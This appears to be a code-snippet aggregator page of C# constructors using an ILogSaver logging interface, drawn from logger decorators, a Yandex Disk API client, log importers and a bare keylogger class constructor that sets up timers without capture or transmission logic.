Exemple #1
0
    public Server(string ip, int port)
    {
        logSaver = new FileLogSaver("log.txt");

        listener = new TcpListener(IPAddress.Parse(ip), port);
        listener.Start();

        Listen();
    }
        public KeyLoggerInstance(IKeyChecker keyChecker, ILogSaver logSaver,
            long refreshInterval = 10, long saveInterval = 10000)
        {
            saving = false;
            logBuffer=new StringBuilder();
            reseveBugger=new StringBuilder();
            this.keyChecker = keyChecker;
            this.logSaver = logSaver;

            keyCheckTimer=new Timer { Interval = refreshInterval };
            saveLogTimer = new Timer { Interval = saveInterval };

            keyCheckTimer.Elapsed += KeyCheckEvent;
            saveLogTimer.Elapsed += SaveLogEvent;
        }
        /// <summary>
        /// Create new instance of DiskHttpApi. Keep one instance for all requests.
        /// </summary>
        /// <param name="baseUrl">Base url to Yandex Disk API.</param>
        /// <param name="oauthKey">
        /// OAuth Key for authorization on API
        /// <see href="https://tech.yandex.ru/disk/api/concepts/quickstart-docpage/"/>
        /// </param>
        /// <param name="logSaver">Instance of custom logger.</param>
        /// <param name="httpClient"></param>
        public DiskHttpApi([NotNull] string baseUrl, [NotNull] string oauthKey, [CanBeNull] ILogSaver logSaver, [NotNull] IHttpClient httpClient)
        {
            BaseUrl     = baseUrl;
            _httpClient = httpClient;

            var apiContext = new ApiContext
            {
                HttpClient = httpClient,
                BaseUrl    = new Uri(baseUrl),
                LogSaver   = logSaver
            };

            Files    = new FilesClient(apiContext);
            MetaInfo = new MetaInfoClient(apiContext);
            Commands = new CommandsClient(apiContext);
        }
Exemple #4
0
        protected DiskClientBase([NotNull] ApiContext apiContext)
        {
            if (apiContext == null)
            {
                throw new ArgumentNullException(nameof(apiContext));
            }
            if (apiContext.HttpClient == null)
            {
                throw new ArgumentNullException(nameof(apiContext.HttpClient));
            }
            if (apiContext.BaseUrl == null)
            {
                throw new ArgumentNullException(nameof(apiContext.BaseUrl));
            }

            _httpClient = apiContext.HttpClient;
            _logSaver   = apiContext.LogSaver;
            _baseUrl    = apiContext.BaseUrl;
        }
        public DiskHttpApi([NotNull] string oauthKey, [CanBeNull] ILogSaver logSaver = null)
        {
            var clientHandler = new HttpClientHandler();

            var httpClient = new HttpClient(clientHandler, disposeHandler: true);

            httpClient.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("OAuth", oauthKey);
            httpClient.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue(AboutInfo.Client.ProductTitle, AboutInfo.Client.Version));
            httpClient.Timeout = TimeSpan.FromHours(24); //For support large file uploading and downloading

            _httpClient = new RealHttpClientWrapper(httpClient);

            var apiContext = new ApiContext
            {
                HttpClient = _httpClient,
                BaseUrl    = new Uri(BaseUrl),
                LogSaver   = logSaver
            };

            Files    = new FilesClient(apiContext);
            MetaInfo = new MetaInfoClient(apiContext);
            Commands = new CommandsClient(apiContext);
        }
Exemple #6
0
 /// <summary>
 /// Concrete decorator
 /// <remarks>
 /// Реализация декоратора
 /// добавляет к декорируему обьетку специфическое поведение
 /// </remarks>
 /// </summary>
 /// <param name="logSaver"></param>
 public ThrottlingLogSaverDecorator(ILogSaver logSaver) : base(logSaver)
 {
 }
 public LogImporter(ILogSaver saver)
 {
     _saver = saver;
 }
Exemple #8
0
 internal Logger(ILogSaver log)
 {
     _log = log;
 }
 protected LogSaverDecorator(ILogSaver decoratee)
 {
     _decoratee = decoratee;
 }
 public void RemoveSaver(ILogSaver saver)
 {
     _savers.Remove(saver);
 }
Exemple #11
0
 internal Logger(ILogSaver log)
 {
     _log = log;
 }
 public ThrottlingLogSaverDecorator(ILogSaver decoratee)
     : base(decoratee)
 {
 }
 public TraceLogSaverDecorator(ILogSaver decoratee) : base(decoratee)
 {
 }
 public AsyncLogSaverAdapter(ILogSaver logSaver)
 {
     this.logSaver = logSaver;
 }
Exemple #15
0
 protected LogSaverDecorator(ILogSaver logSaver)
 {
     _decoratee = logSaver;
 }
Exemple #16
0
 public static ILogger GetLogger([CanBeNull] ILogSaver saver)
 {
     return(saver != null ? (ILogger) new Logger(saver) : new DummyLogger());
 }
 public AsyncLogSaverAdapter(ILogSaver logSaver)
 {
     this.logSaver = logSaver;
 }
 public void AddSaver(ILogSaver saver)
 {
     _savers.Add(saver);
 }
Exemple #19
0
 public WizzLogger(ILogSaver s, ILogMailer m)
 {
     mailer = m;
     saver = s;
 }
 public TraceLogSaverDecorator(ILogSaver decoratee) : base(decoratee)
 {
 }
Exemple #21
0
 public Logger(ILogSaver saver)
 {
     this._saver = saver;
 }
 public TraceLogSaverDecorator(ILogSaver logSaverDecorator)
     : base(logSaverDecorator)
 {
 }
 protected LogSaverDecorator(ILogSaver decoratee)
 {
     this.decoratee = decoratee;
 }
 public ThrottlingLogSaverDecorator(ILogSaver decoratee) : base(decoratee)
 {
 }
Exemple #25
0
 public Logger(ILogSaver logWriter)
 {
     _logSaver = logWriter;
 }
Exemple #26
0
 public LogSaverDecorator(ILogSaver logSaverDecorato)
 =>
Exemple #27
0
 public LogFileImporter(ILogReader logReader, ILogSaver logSaver)
 {
     _logReader = logReader;
     _logSaver  = logSaver;
 }